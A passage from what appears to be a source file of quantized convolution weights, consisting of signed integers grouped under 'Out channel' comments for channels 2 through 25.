840, -1188, 993, -158, -271, 309, 409, 977, -593, -888, -126, -833, -639, -552, 64, -1168, -350, -2364, 26, -44, // 320
1127, 488, 549, 457, 346, 788, -1674, 920, -523, 192, -525, -781, -5, 191, 567, -183, -390, -41, -882, -785, // 340
456, -341, -514, -374, -3150, 292, 621, -122, -207, 192, 218, 134, -177, -518, 2010, 38, 605, -86, 773, 265, // 360
// Out channel 2
708, -399, -365, -1207, -533, -78, -420, 408, 890, 205, -146, 777, 797, 340, 524, -269, 129, 845, -275, -568, // 380
547, -944, 538, -1231, -551, -1395, -532, -1342, -277, -959, -1129, 425, -236, -67, -18, 973, 1175, 303, 397, 660, // 400
893, 1809, -1575, -3518, -789, 234, -860, -850, -780, -412, 519, 369, 1235, 487, 1028, 2405, 200, 772, -1153, 299, // 420
412, -50, 532, 640, -71, -1630, 32, -58, -142, -405, -823, -97, -668, -674, -445, -724, -8, -529, -451, 467, // 440
721, 594, -599, 463, 2263, -157, 20, 497, -1488, -474, 390, 140, -628, 112, 721, 153, -253, -430, 573, 1656, // 460
-1411, -746, -579, -707, 830, 219, -1143, 493, 1007, -121, 689, -964, 884, -294, 298, -668, 283, -280, 893, -1812, // 480
163, 436, -304, 37, 538, -268, 52, 1176, 648, 1429, 320, 1903, -207, 641, -463, 521, -207, 712, -99, -334, // 500
-2603, -1006, 315, -608, 347, -807, 2111, -148, 490, -753, -263, 136, -354, -78, -1490, -120, 118, -312, 1289, -276, // 520
-384, -437, -285, 357, 2023, 2058, -982, -1041, -178, -153, 763, -667, -1631, -424, -1363, -25, -530, -113, 307, -276, // 540
// Out channel 3
448, -1103, -1797, 1621, 183, 740, -755, 1236, 262, -561, -1366, -37, -368, 141, -2134, -1203, -561, 504, 708, 2206, // 560
-723, 381, -1481, 592, 447, 1579, 125, -829, -504, 917, 57, 421, -1795, 283, 960, -1205, 253, -1001, 1068, 1311, // 580
593, 454, 249, -105, 2096, -400, 635, -40, -46, -791, -1237, -339, 174, -97, -1298, -62, 2730, -930, -1205, -640, // 600
-34, 1077, 123, -761, 717, -364, 572, -293, 548, 217, 1206, 1690, 468, 1132, 69, -1166, 689, 382, -225, 164, // 620
-1, 294, 147, -840, -38, 580, -563, 711, -505, 771, -413, 495, -1514, 58, -668, -253, 875, -51, -431, -76, // 640
8, -377, -779, -456, -1890, -1064, 996, -786, 323, 1484, 77, -634, -1314, 2130, -1068, 1091, 441, -661, 650, 32, // 660
732, 2228, 1707, 230, 1170, 984, 887, 250, -973, 296, -745, -135, 705, -248, 2730, -679, -338, -417, -759, 222, // 680
-8, -1337, -1327, 431, 1280, 364, 97, 1193, 300, 76, -569, -222, 337, -654, 376, 2063, -354, 268, 524, 1961, // 700
-790, -193, 1350, -186, -25, -1281, -1136, -2161, -839, -453, -1042, 706, 557, 355, -370, -1865, 1513, 748, 96, -104, // 720
// Out channel 4
411, -903, -485, 475, 130, 495, 628, 1331, -87, -954, 643, 923, -287, 1228, -2350, -2140, 1141, 1046, -484, 1852, // 740
-297, 331, 273, -618, -1365, -874, -342, -891, -791, -415, -31, -969, -1115, 838, 1716, 800, 599, -434, -813, -220, // 760
1069, -233, -258, -1281, 2442, -125, 478, -589, 1023, -1090, 267, 1066, 516, 459, -667, 421, 1219, -788, -267, -891, // 780
260, -558, -119, -455, -921, 621, -986, 263, 645, -321, 1575, 337, 122, 897, 989, -1339, -153, 19, -432, -372, // 800
203, 2158, 647, 217, 444, 1050, -340, 1267, -817, 321, -410, -266, 890, -636, 526, -655, -456, 1052, -484, 621, // 820
-1254, 166, -110, -1139, 623, 456, 474, -286, 953, 548, 864, -238, 390, 707, -1427, 1279, -670, -283, 1353, 84, // 840
869, -455, 631, 187, 302, 136, -699, -479, -191, -56, -1996, 232, 902, -7, 805, -1030, -433, 270, -2436, 940, // 860
-1424, -892, -668, 187, 900, 302, 230, -1004, -1675, 52, 743, 228, 505, 311, -164, 2179, -801, 1674, -886, 1618, // 880
-1377, -698, 122, 1344, 303, 1460, -1146, -809, 483, -183, -21, 738, -455, 923, -710, -1073, 104, -418, -784, -1220, // 900
// Out channel 5
-359, 1304, 819, -1068, -97, -39, -543, -1471, -1209, 44, 1040, 388, 286, 97, 1166, 1597, -899, -574, -1184, -3017, // 920
215, 170, 948, -574, -465, -291, -464, 257, 1608, -1618, 186, 615, 1485, 43, -1071, -249, 17, 1210, 7, -828, // 940
362, 184, 672, 1184, -1661, 388, -404, 292, -977, 155, 1210, 189, 153, 247, 1024, 830, -1090, 46, 1138, 1539, // 960
-142, -328, -1375, -206, -1066, 545, 1224, -119, -957, -658, -838, -1115, -739, -1318, -1388, 738, 20, -659, -574, 592, // 980
-173, -398, -592, 1012, 318, -313, 824, -625, 324, -453, 390, 947, 458, 723, 1078, 1181, 296, -830, -142, 501, // 1000
-348, -225, 1423, -673, 920, 59, -1369, -137, 51, -923, -490, -82, 1716, -581, 1248, -2373, 1611, 792, -250, -381, // 1020
-356, -2474, -1999, 585, -1339, -193, -766, 2490, 878, -223, 852, 344, 123, 19, -2167, -341, 106, 743, 121, -257, // 1040
984, 393, 910, 315, -2217, -289, 244, -604, -286, -978, -285, -458, -583, 64, 693, -3849, 21, -994, -926, -1164, // 1060
1643, 258, -481, -783, -242, 84, 1494, 2701, 1129, 1456, 455, -974, -1546, -962, 66, 1981, -1178, -493, 123, 333, // 1080
// Out channel 6
-710, -537, 548, -76, -752, 9, -408, 1006, -354, 48, 331, 565, 128, 658, -984, -726, 665, 346, 480, 777, // 1100
652, 274, 367, -803, -513, -1940, 534, -496, -3312, 840, 261, -642, -24, -510, -217, 848, -985, -249, -123, -602, // 1120
565, -1214, -828, -1279, 44, -418, 1434, -518, 380, -167, 1073, 554, 493, -181, 646, -1009, -200, 906, 1029, -1055, // 1140
277, -616, -117, 1722, -917, 1116, -570, -21, -1212, -221, 706, 380, 900, -471, 1396, -1584, -156, 1305, -1731, 215, // 1160
85, 1445, 126, 761, -1287, 110, 120, -182, 896, -49, -385, -2028, 604, -41, 1231, 1274, -1389, 1518, -222, 73, // 1180
-456, 493, -406, -335, 539, 791, 487, 2797, -657, 499, 1073, 1594, 24, 126, -1140, 961, -622, -1335, 37, 20, // 1200
-1647, -370, -174, 134, -409, -644, 138, -792, -101, -255, -721, -87, 417, 716, -311, -204, -1336, -2062, -444, 357, // 1220
-1015, -1057, 900, -871, 797, -670, -591, -993, -411, -416, 140, 60, -352, 816, -2005, 632, 540, 971, 311, -797, // 1240
74, 321, -388, -5, -1610, 1425, -616, -1631, -89, -39, 235, -708, 1875, 1581, 1895, -438, -834, -145, -191, -300, // 1260
// Out channel 7
-758, 1147, -24, 644, -2268, 338, 2834, 191, 235, 438, 384, 469, -1000, -283, -849, 424, 870, 1135, -726, 652, // 1280
1341, -2208, 2386, -415, -467, 164, -11, -226, 180, -1479, 2057, 708, 487, -86, -781, 888, 251, 479, -1100, 150, // 1300
-114, -1186, 1584, 1003, 385, -917, 115, -594, 653, -637, -72, 117, 421, -166, 1400, -96, -502, 728, 2022, -606, // 1320
-2680, -212, -511, 3534, -515, 46, -4207, 3238, -2725, 173, 411, -785, 2533, 173, 881, -842, 2144, 0, -593, -7, // 1340
619, 285, -95, 299, -381, -248, -146, 822, 208, -894, 194, 774, -134, -777, -883, 218, -3183, -74, 33, -643, // 1360
198, 248, 2452, -202, -334, 3082, -298, 1321, 823, 22, 314, 861, 119, 186, -685, 1672, 475, -1478, -145, -2448, // 1380
-1523, 392, -202, -2527, 391, -2312, 651, -265, 454, -2, -771, 308, 731, -470, 718, 507, -165, 120, 10, 2044, // 1400
-1919, -1628, 754, -3103, 242, -1687, -369, 520, 507, -248, -690, -336, 588, 2962, -950, 345, 1821, 585, 657, -1422, // 1420
401, 267, -3673, 386, 119, 32, -154, -342, 729, -637, -126, -2045, -641, 430, 544, -780, -1017, 30, -29, 192, // 1440
// Out channel 8
-545, -1689, 503, 454, 442, 769, -2240, -412, -678, 296, 918, -346, 1522, 48, 192, 323, -232, -754, 273, 57, // 1460
-992, -873, -2435, 421, 738, -1052, 481, -2393, -256, 611, -2424, -538, 274, -637, -383, 189, -1881, -730, 550, 56, // 1480
997, 1286, -5177, -1786, -22, 405, 245, 19, -523, 516, 57, 674, -53, -152, -1232, -1511, 529, 555, -614, 417, // 1500
3596, -613, 1274, -279, -115, -999, 784, -1310, 774, 138, -292, 2418, -1577, 119, 679, 1485, -297, 264, -265, 1626, // 1520
138, 300, -249, -526, -1942, 296, 204, -847, 2116, 23, -827, -2100, 269, 503, -242, -2296, -139, -444, -341, -471, // 1540
1544, -12, -4936, -248, 261, -2156, -354, -493, -995, -149, -192, 5476, -1691, 346, 339, 569, -483, 1763, 310, -270, // 1560
-347, 914, 655, 273, 274, 1591, 459, 1118, -453, 189, 143, 689, -2403, 899, -506, 816, -165, -2427, 1531, -1379, // 1580
-144, 144, -92, 283, 69, 592, 276, -3, 481, -261, -15, -384, -1155, 537, -737, -85, -470, -308, 858, -507, // 1600
-219, -254, 2341, 774, -1718, 212, 235, 171, -2282, -583, -789, 143, 2333, -73, 1628, 419, 1389, 311, -31, 390, // 1620
// Out channel 9
372, -27, -179, -1034, 1116, -261, 454, -852, -496, -114, -1088, 661, -33, -307, 2031, 2346, -744, -1364, 108, -1356, // 1640
-735, 233, -439, 699, -323, 531, -199, -385, 2033, 26, -606, 203, 1198, 513, -618, -606, 121, 47, -500, 120, // 1660
-462, 813, -529, -655, -795, 314, -772, -400, 106, 147, -581, 228, -875, 872, -579, 770, 121, -957, -679, 907, // 1680
119, 604, 285, -1634, 283, -817, 199, 20, 150, 177, -1781, -284, -463, 278, -3868, 778, -112, 4, 1000, -719, // 1700
-335, -1059, -384, -388, 387, 103, 399, -344, -204, 282, -546, 945, -409, -553, 283, -484, 663, -1153, 75, 174, // 1720
66, 25, 53, -364, 410, -264, -652, -791, 44, -771, -1378, -146, 239, 311, 1298, -726, -114, 819, 572, 508, // 1740
-381, 384, -358, 619, 370, 129, -293, 898, 413, 641, 2646, -487, -887, 105, -558, 459, 646, 240, 2425, 27, // 1760
1013, 2619, 224, 1366, -1184, -30, 344, -11, -236, 532, -564, -46, 20, -217, 104, -1523, -1251, -1414, 145, -837, // 1780
666, -484, 372, 46, 806, -905, 547, 1507, -799, 143, 681, 910, -459, -2804, -347, 1559, 1407, -871, 426, -38, // 1800
// Out channel 10
-367, -870, -103, -849, -1091, 855, -95, 218, -802, 2897, 1305, 661, -192, -723, 439, -284, 140, -275, -84, 125, // 1820
-504, -1689, -997, -1023, -615, -863, -456, -1236, -1137, -651, -1017, -277, 290, 132, 564, -475, -1444, 594, -63, 604, // 1840
932, 367, -1131, -2595, 113, -612, -251, -67, 153, -844, 1639, 122, 604, 228, 186, 163, 248, 3144, 623, 154, // 1860
1002, -1167, -930, 1641, 870, 784, -717, 344, -1459, -440, -59, 1447, 485, 528, 644, 1021, 726, -212, -1383, 159, // 1880
1064, -88, -788, -710, -502, -11, 57, -624, -38, -457, -1045, -1280, -597, -118, 650, -1632, -1843, -444, -83, -1748, // 1900
965, 17, -1557, -240, 147, -80, -698, 1832, 537, -488, 364, 982, -1185, -125, 192, 318, -369, 952, 988, -1799, // 1920
-2950, -628, 669, -833, -557, 837, 455, -127, 1029, 141, -370, 2011, -1658, 566, -600, 1624, 98, -572, 364, 899, // 1940
-2258, -55, 1509, 47, -1076, -1319, 1223, -248, 917, -236, -537, -490, 741, 2153, -1816, -251, 941, -438, 1819, -1200, // 1960
1299, -460, -660, 953, -1086, -22, -594, -154, -1213, -399, -520, -644, 846, -556, 1454, 923, -245, 1454, -290, -715, // 1980
// Out channel 11
-476, -102, 1955, 1012, -170, -1145, 27, 377, -336, -452, 1020, -792, -653, 895, 68, 1, 140, 296, 317, -448, // 2000
448, -306, 47, -784, 1024, 643, 1820, 236, 283, -340, 408, -1550, 550, -1943, -986, 1716, -632, 357, 1046, -1504, // 2020
-1153, 156, -133, 794, -325, 595, -209, -300, -158, -107, 384, 3131, 138, -1975, 831, -9, -262, -359, 1073, 130, // 2040
-604, -1191, -615, 188, -1706, -409, -593, 463, -284, -19, 511, -570, 99, 352, -117, 15, -630, 4, 402, 687, // 2060
-36, 590, 350, 619, -335, -2296, 478, -1361, 481, 236, -8, 180, 1758, 1202, 663, -150, -1201, -195, -17, 1002, // 2080
-170, 2570, 604, -722, 1546, 332, 55, -85, 141, -874, 773, 496, -996, 81, 42, -553, 896, 159, -296, -585, // 2100
-665, -554, -2, -301, 429, 35, -755, -87, 940, 589, 175, 238, 1, 1322, -814, -322, -438, -424, -41, -89, // 2120
317, 34, 155, -504, -258, -961, 63, -1833, -231, -1092, 77, 67, 142, -183, -37, -519, 495, 14, -451, 161, // 2140
581, 1677, 14, -800, -596, 821, 602, 648, 103, 870, -886, -455, 27, 860, 715, -66, -170, -1491, -921, 332, // 2160
// Out channel 12
459, 379, -458, -451, 688, 676, -547, 76, -443, -411, 392, 1188, 163, -53, 252, 470, 270, -643, -206, -639, // 2180
-731, -196, 378, -332, -630, -153, -1913, -252, 706, -395, 316, 83, -311, 1224, 796, -253, 866, -126, -1636, 302, // 2200
1650, 570, 573, -550, -630, 876, 799, 511, 62, -875, -1086, -1023, 294, 2644, 120, 881, 295, 418, -338, 419, // 2220
905, 77, 515, 3, -133, -528, 468, 208, 818, -1, 65, 293, -408, 159, 265, -277, 169, -466, -279, -671, // 2240
-89, 451, -335, 334, 1929, 2514, -730, 363, -1157, 363, 98, 1326, 336, -117, 674, 94, 754, 41, -55, 297, // 2260
-444, -2386, -161, -456, 422, -381, 37, -109, 671, -150, -271, -327, -116, 491, 12, -99, -537, 830, 1187, -606, // 2280
349, -101, -52, 89, 116, 258, -1286, 1550, -163, 512, -379, 1443, 1364, -178, 248, -46, -211, 1115, -54, -113, // 2300
-1393, -421, 303, 201, 245, 91, 544, 151, -294, -84, -394, 342, 190, -207, 48, 206, 143, 186, -167, 265, // 2320
200, -1721, 568, 434, 1430, -303, 1184, 361, 797, -481, 705, 464, -1396, 117, -494, 3, -227, -346, 662, -952, // 2340
// Out channel 13
283, -1795, -2680, 187, 865, 922, -183, 1229, 852, 14, -2282, 1404, 428, 105, -278, -799, -309, 1452, -731, 1705, // 2360
-330, 632, -95, 783, -765, -342, -718, -653, -850, 279, 421, 765, -2241, 1356, 1938, -1188, 777, -504, -615, 1720, // 2380
1411, 654, 346, -1085, 969, -223, 1280, -432, 250, -891, -531, -1628, -370, 2134, -1877, 117, 1145, 91, -1939, -282, // 2400
1332, 1559, 1019, -38, 1493, -1177, 103, 678, 100, -221, 215, 553, -903, 653, 666, -842, 315, 584, 322, 334, // 2420
-585, 283, 774, -674, 273, 1961, -1660, 1610, -816, 627, -116, -556, -1190, -2055, -752, -819, 889, 163, -943, -582, // 2440
-72, -2005, -270, -366, -681, -454, -317, -8, 437, 1601, 249, -590, 2, 464, -696, 761, -590, 270, 834, 437, // 2460
1182, 1622, 1088, 417, 916, 215, 797, 382, -1181, 252, -248, 88, 810, -1557, 2111, -863, -108, -751, -671, 12, // 2480
-1099, -176, -1110, 1176, 932, 1112, 38, 1605, -685, 1005, 133, -508, 599, -846, -78, 837, -202, 50, 376, 2438, // 2500
-1482, -1330, -337, 1309, 59, 35, -2035, -656, 234, -1865, 690, 230, 475, -368, -517, -1444, 257, 475, 1181, -898, // 2520
// Out channel 14
1773, -1413, -3346, -301, 465, 844, 146, 242, 1694, 78, -2887, 565, 78, -994, -340, -700, -427, -272, 695, 1055, // 2540
-1370, 1087, -2106, 1661, -610, 1790, -697, 483, -310, 1005, 643, 1375, -533, 1438, 305, -3128, 1191, -335, 203, 2544, // 2560
57, -247, 652, 585, 334, -1089, 467, 88, 19, 33, -1373, -3447, -264, 1081, -1664, -386, 632, 60, -2595, 528, // 2580
981, 2468, 706, -443, 1330, 543, 752, 9, 537, -461, 320, 896, 66, 313, -369, -1612, 865, 425, 288, -693, // 2600
276, -863, -855, -1423, 394, 700, -572, 969, -945, 504, 358, -632, -2855, -927, -728, 954, 1418, 23, -199, -1589, // 2620
917, -351, -812, 938, -2825, -367, 707, -330, 304, 893, -1402, -1281, -322, 1463, -681, 933, -855, -1110, 185, 897, // 2640
584, 3455, 744, 247, 277, 723, 1237, -615, 88, 189, 105, -190, 67, -1844, 1311, 424, 45, -191, -544, 239, // 2660
-171, -559, -1214, -298, 611, -79, -368, 2882, 352, 2160, -441, 817, 510, -558, 1383, 122, -366, -35, 1261, 1130, // 2680
-161, -644, 1609, 612, 683, -2589, -922, -1546, -216, -430, 148, 615, 2356, -403, -1007, 79, 676, 2326, -1135, -48, // 2700
// Out channel 15
-3, 1087, 1545, 813, -1095, -305, 1448, 1135, -10, -614, -747, -607, -531, 204, -193, -642, 20, 711, 526, 238, // 2720
992, 1098, -169, 670, 316, 1309, 949, 1651, 82, 316, 2673, -192, -378, -363, -393, -91, 218, -354, -567, 534, // 2740
-1474, -1120, 1773, 2273, 857, -1153, 298, -292, -257, -49, -953, 495, -487, -920, 195, -724, -273, -1556, 127, 277, // 2760
-1316, 160, -592, 349, -1209, 1038, -1336, 800, -300, 137, 482, -1229, 1390, 148, 528, -1138, 876, 511, 323, -1297, // 2780
-335, -3, -687, -145, -419, -1494, 298, 156, 625, 493, 458, 572, -33, -414, -811, 1019, -689, 477, 15, -870, // 2800
-570, 351, 1208, 820, -912, 1872, 277, -337, 553, 523, -75, -972, -557, 727, -557, 177, -201, -1334, -882, 937, // 2820
-65, 1093, -946, 23, 722, -345, -71, -805, -573, -394, -266, -1233, 836, -572, 1478, 97, 80, -223, -457, 670, // 2840
1536, -30, -1305, -401, 745, 575, -758, 787, -15, 506, 589, 135, 793, 315, 1368, 531, 367, 586, -957, -311, // 2860
467, 989, -1089, -972, 192, -1101, -520, -591, 366, -459, -1335, 325, 88, 1622, 469, -1557, -266, -36, -1614, 229, // 2880
// Out channel 16
-198, -205, 1181, 1844, -1432, 310, 43, 1061, 40, -520, 1121, 206, -1795, 1144, -2148, -1585, -310, 818, 1193, 1030, // 2900
-124, -772, 107, -911, 95, -1043, 641, -825, -2619, -873, 153, -973, 365, -67, 66, 762, -42, 848, 945, 10, // 2920
753, -839, 393, 213, 356, -221, 627, -1421, 187, -32, 1003, 1869, 28, -411, 780, -200, 1164, 958, 1377, 405, // 2940
-1444, -1096, -824, 1518, -1223, 1003, -913, 152, 236, -362, 2155, 304, 969, 729, 2633, -1066, 36, 399, -2178, 36, // 2960
1119, 1856, -248, 102, -123, 3, 132, 958, 178, 566, 462, 17, 1135, 404, 753, 27, -1550, 647, -842, 180, // 2980
360, 1109, 619, -1461, 942, 1067, 753, 1029, 507, 174, -477, 207, -1528, 1213, -1957, 1088, 607, -1333, -112, -703, // 3000
-1496, 175, -698, -1434, 260, -564, -546, 146, 639, -28, -2076, -24, 373, 1027, -135, 101, -1439, 8, -2702, -445, // 3020
-1332, -1843, 593, -1143, 996, -1848, -234, -1593, -337, -588, -582, 762, 330, 748, -980, 1439, 712, 1779, 143, 608, // 3040
-418, 235, -122, 234, -46, 807, -37, -1427, -318, -156, -1153, -775, -386, 2579, 404, -1243, -348, -101, 119, 207, // 3060
// Out channel 17
300, -1327, -622, 432, 3398, 23, -539, 789, -129, -2246, -827, -865, 1127, 975, -594, -798, 29, 435, 613, 523, // 3080
-982, 2194, -734, 861, -175, -925, -193, 890, -563, 1558, -428, -1066, -1956, -164, -154, -72, 141, -3771, 110, -519, // 3100
-121, 826, -864, -127, 1057, 298, 764, 295, 795, -247, -933, 167, -3578, -243, -2406, 252, 934, -2549, -1522, 110, // 3120
1276, 12, 1399, -2512, -565, 350, 1353, -947, 1264, -498, 461, -444, -997, 976, 139, 20, -702, -146, 470, -127, // 3140
-1304, 545, 2312, 402, -227, -145, -424, 643, 654, 39, -629, -865, 452, -495, 343, -764, 3494, 151, -639, 1269, // 3160
-669, 385, -998, -685, 512, -1318, 450, -1342, -689, 2394, 1113, 499, 213, 356, 174, 1167, -199, 1136, -191, 1928, // 3180
2831, 368, 1955, 1640, 197, -60, -156, 152, -2661, -37, 414, -1251, 660, -181, 857, -2573, -714, -72, -904, -1334, // 3200
1410, 43, -674, 2397, 511, 2284, -632, 51, -2137, 1118, 1163, -22, -101, -2014, 950, 1049, -2988, 906, -1815, 1741, // 3220
-3211, 25, 550, 572, -32, 1106, -754, 349, 335, -160, -158, 2968, 110, 82, -36, -1261, 971, -1267, 724, 128, // 3240
// Out channel 18
-137, 14, -61, 889, 1809, 115, -502, 824, -86, -2776, -1020, -538, 390, 1761, -950, -1225, -126, 939, 614, 672, // 3260
527, 1631, 528, 706, -496, 328, 156, 1415, -371, 286, 62, -376, -2153, 163, 765, 367, 704, -2355, -71, -421, // 3280
11, 1334, 668, 519, 502, 93, 483, -436, -23, 121, 25, 146, -2978, -333, -1276, -114, 1038, -4069, -1086, -43, // 3300
321, 858, 1281, -996, -832, -394, 568, -313, 799, -88, 334, -1329, 227, 1174, 466, -449, -137, 1072, 170, 230, // 3320
-1166, 232, 1691, 266, 102, -20, -273, 1114, -359, 1140, -97, 376, 1324, 150, 21, -209, 1693, 1031, -1618, 866, // 3340
-800, 115, 472, -446, 782, 128, 692, -1555, 586, 2327, 467, -173, 149, 657, 74, 38, 595, 156, 257, 662, // 3360
2484, -142, 848, 852, 814, 377, 446, -171, -1865, 172, -580, -555, 1379, 561, 1105, -3313, -983, 611, -811, -525, // 3380
286, -250, -924, 503, 1371, 729, -349, -497, -1941, 78, 182, 153, -249, -1165, 1332, 1977, -1515, 1269, -2723, 2236, // 3400
-2367, -116, 374, -151, 597, 1683, -469, -59, 1288, -56, 221, 2483, -895, 844, -390, -1959, 684, -1595, 455, 102, // 3420
// Out channel 19
219, 752, -1059, -709, 118, -929, -534, -585, -236, 1235, -1094, -717, 91, -1717, 2009, 1265, -1488, -994, -973, -1220, // 3440
525, 872, -483, 1414, 539, 1478, 343, -303, 2046, 105, -34, 827, 795, 296, -633, -1466, 189, 217, 174, 58, // 3460
-614, 539, 28, 405, -277, -134, -84, 240, -1473, 1202, -1103, -2001, -1016, -68, -417, -479, -600, -258, -386, 1272, // 3480
-221, 1406, 412, -906, 853, -1765, 1250, -96, -359, -401, -1498, -474, -793, -541, -2647, 1070, 390, -469, 1227, 933, // 3500
-315, -1808, -185, -1246, -237, -667, 521, -283, 0, -12, 196, 951, -1735, 643, -1108, -58, -177, -763, 432, 3, // 3520
299, -742, -141, 1162, -664, -590, -212, 392, -203, -909, -2139, 494, -322, -458, 1722, -709, 347, 188, -1038, 429, // 3540
415, 383, 239, 626, -62, 573, 1000, 1163, -186, 580, 1657, 2, -599, -466, -208, 222, 679, 71, 1377, -593, // 3560
1445, 1135, -1078, 459, -753, -367, -303, 1430, 535, 743, -615, -268, -153, -88, 1470, -639, -27, -2619, 128, -550, // 3580
1877, -112, 137, -520, 268, -1802, 174, 190, -818, 6, 900, 251, 633, -2037, -311, 615, 272, 531, 683, 740, // 3600
// Out channel 20
-518, -525, 794, 1457, -728, -5, -524, 393, -321, 77, 1203, 274, -722, 659, -1487, -410, 69, -300, -228, 700, // 3620
-661, -923, 452, -995, 69, -790, 302, -1139, -2089, -466, -767, -838, 396, -302, -139, 532, -900, 749, 672, -78, // 3640
917, -820, -92, 205, 590, -35, 475, -524, 145, 284, 176, 1131, 753, -669, 274, -1, 752, 1460, 731, 689, // 3660
-1111, -1897, -891, 784, -1581, -573, 268, 504, -298, 417, 1927, 1765, 1491, 182, 2284, -1544, -557, 254, -1433, 409, // 3680
892, 1394, -155, 447, 414, -141, 192, 408, 305, -111, -273, 468, 1303, 1290, 616, 711, -1308, 335, -526, -538, // 3700
503, 598, 150, -499, 689, 305, 995, 846, 825, -286, 93, -37, -1153, 1259, -851, 700, 26, -898, 216, -408, // 3720
-968, -357, 427, -879, -26, 685, -744, 23, 850, -204, -1703, 1184, 264, -126, -28, 57, -669, -545, -1386, -663, // 3740
-850, -1130, 798, -1134, 439, -922, -615, -1344, -115, -657, -1051, 57, -763, 361, -924, 286, 397, 505, 296, -141, // 3760
-431, 487, 147, -786, -110, 312, -28, -2093, -163, -648, -1019, -648, 284, 2213, 90, -678, -45, -250, -595, -128, // 3780
// Out channel 21
1047, -612, -106, -59, 2129, -206, -4020, -135, 553, -468, -983, -667, 392, 147, 337, -350, -981, -670, 926, -21, // 3800
-2376, 1162, -2632, 636, 369, 100, 433, 726, -138, 808, -1585, -551, -118, -98, 607, -1214, 614, -84, 1386, 36, // 3820
-116, 1518, -782, -85, 191, 211, -357, 1133, 83, 818, -1411, 90, -1514, -531, -1083, -44, 683, 86, -2947, 284, // 3840
901, 308, 1274, -3886, -382, -616, 2433, -1922, 2586, 552, -281, 1431, -675, 178, -517, 250, -661, -485, 42, 615, // 3860
-297, -706, 454, -505, 705, 88, 1, -598, 234, 1653, -107, 385, -106, 1312, -726, -182, 3394, -647, -4, -566, // 3880
54, 854, -1787, 556, 115, -4562, 275, -1789, 81, 108, -389, -787, -1266, 300, 48, -469, -193, 849, -163, 1713, // 3900
2149, 588, 396, 1136, 423, 3264, -67, 868, -1038, 327, 895, -452, -305, -367, 780, 33, 383, 799, 349, -1165, // 3920
2295, 578, -540, 1704, -561, 687, 180, -584, -328, 104, 338, 810, -424, -1216, 1734, -136, -1653, -106, -190, 819, // 3940
-478, 470, 4467, 285, 432, -259, 674, -359, -871, 713, 132, 959, 1611, -283, -2039, 159, 1348, 749, -872, -134, // 3960
// Out channel 22
530, -966, 1024, 687, -1228, 788, 2291, 701, 143, 284, 472, 46, -2176, 997, -49, -639, 808, -119, 38, 428, // 3980
-311, -524, -593, 85, -292, 925, 460, 1437, -835, 257, 961, -490, 0, 643, 270, -501, 618, 832, -464, 2290, // 4000
-18, -525, 378, 509, -5, -978, 73, 250, 2061, -1346, 228, 286, 583, -396, 81, 13, 215, 857, 326, -392, // 4020
-2687, -617, -386, 774, -585, 1549, -2808, 1986, -1271, -340, -53, 1494, 3174, -93, 157, -457, 641, -131, -641, -1989, // 4040
503, 288, -779, -415, 25, 168, -423, 88, -626, 252, 44, -257, 198, -1366, -320, 263, -1229, 33, 230, -2053, // 4060
1091, 579, 223, -94, -660, 1200, 184, 1737, 233, 27, 119, -617, -662, 192, -106, 790, 23, -1949, 28, 282, // 4080
-1236, 1023, -134, -1163, 293, -832, -855, -3010, 494, 88, 184, -1258, 158, -883, 846, 550, 212, 34, -713, 1774, // 4100
206, -726, -65, -1080, -82, -1649, -133, -360, 218, 679, -53, 120, 3006, 1612, 203, 378, 941, 208, 484, 175, // 4120
62, 375, -851, 327, 486, -1369, -61, -863, -637, -91, -1114, -255, 1236, 111, -197, 293, -366, 1040, -710, -348, // 4140
// Out channel 23
-359, 1175, 3735, -259, 223, -829, -55, 170, -45, -1207, 582, -184, -313, 729, -570, 1013, 613, 109, 320, -808, // 4160
767, 524, 260, -695, 694, 313, 512, 1566, 1063, 295, 1004, -1373, 172, -689, -619, 1633, 3, 494, -50, -842, // 4180
-1172, 215, 12, 1140, 157, 598, -224, -405, 484, 151, 264, 1994, -1177, -812, -552, 7, -119, -1514, 351, -407, // 4200
-645, -1024, -459, -323, -2067, 212, -36, -169, 410, -206, 789, -1322, 713, -92, -226, 55, -202, 614, -475, 13, // 4220
-187, 231, 355, 1720, 143, -896, 1239, -130, 450, 455, -8, 397, 3236, 64, -240, -176, 291, 78, 660, 878, // 4240
-1205, 672, -149, -652, 982, -18, -144, -1086, 39, 123, 1888, 341, -401, 18, -466, -645, 299, 137, -313, 370, // 4260
304, -605, -604, -135, 385, -349, -1296, 365, 112, 120, 124, -1686, -102, 934, 273, -1337, -240, 220, -278, 355, // 4280
356, -276, 123, -532, 276, 69, -294, -2600, -1342, -416, 1070, -309, 160, -454, -75, -682, -960, 47, -2073, 63, // 4300
-122, 745, 57, -1210, -346, 1056, -209, 276, 1279, 646, -553, 1357, -1100, 541, -93, -194, 143, -1285, -163, -258, // 4320
// Out channel 24
-354, 206, -649, -377, 190, -15, -945, 539, -573, -352, 291, 184, 748, -319, -952, 737, -141, 502, -142, 1307, // 4340
513, -461, 185, -1288, -88, -68, 55, -2228, 200, -701, -814, -305, -52, -210, 65, 130, 90, 698, -16, 151, // 4360
321, 661, -67, -2346, 358, 312, -264, -829, -294, 401, -94, -67, 565, -482, 377, -544, 1076, -564, 1098, 983, // 4380
-135, 1010, 360, -4, 924, -1912, 277, -144, -300, -587, 534, -153, 177, 531, 381, 182, 227, 248, -74, 815, // 4400
-179, 742, -175, -926, 702, 428, 346, 262, 400, 144, 91, 602, -214, 735, 523, -422, -231, 758, -179, 2073, // 4420
-836, -733, 184, -678, 611, -643, 228, 199, 231, 545, -984, 341, -33, 150, -249, 339, 132, 674, -245, -383, // 4440
281, -56, 264, 309, 224, -149, 1239, 1347, 625, -197, 235, 1551, -244, 916, 449, -711, -739, -661, -166, -254, // 4460
-596, 302, -318, -58, 466, -419, 411, 465, 105, -1152, -793, 31, -424, -501, 45, 570, 121, -582, 123, 718, // 4480
235, -695, -339, 957, -334, 839, -1626, -725, -230, 131, -525, 58, -835, -175, 14, -1356, 447, 186, 967, 339, // 4500
// Out channel 25
-47, 1470, 44, -216, 753, 196, -510, 1224, 2106, -954, -471, -17, 1576, 240, 325, -50, 275, 1267, 805, -578, // 4520
438, 698, 470, -828, -329, -1551, 419, -130, -20, 1025, -300, -591, 586, -270, -589, 995, 787, -234, 75, 628, // 4540
-532, 919, -1237, -633, -242, 705, -647, -302, 185, -338, -461, 1013, -145, -304, 351, 115, -1131, -526, -1224, -375, // 4560
2135, -439, 1463, -149, 375, -303, 543, -1831, 771, -328, -1124, -1753, -1782, -232, -676, -919, -1599, -211, 934, 242, // 4580
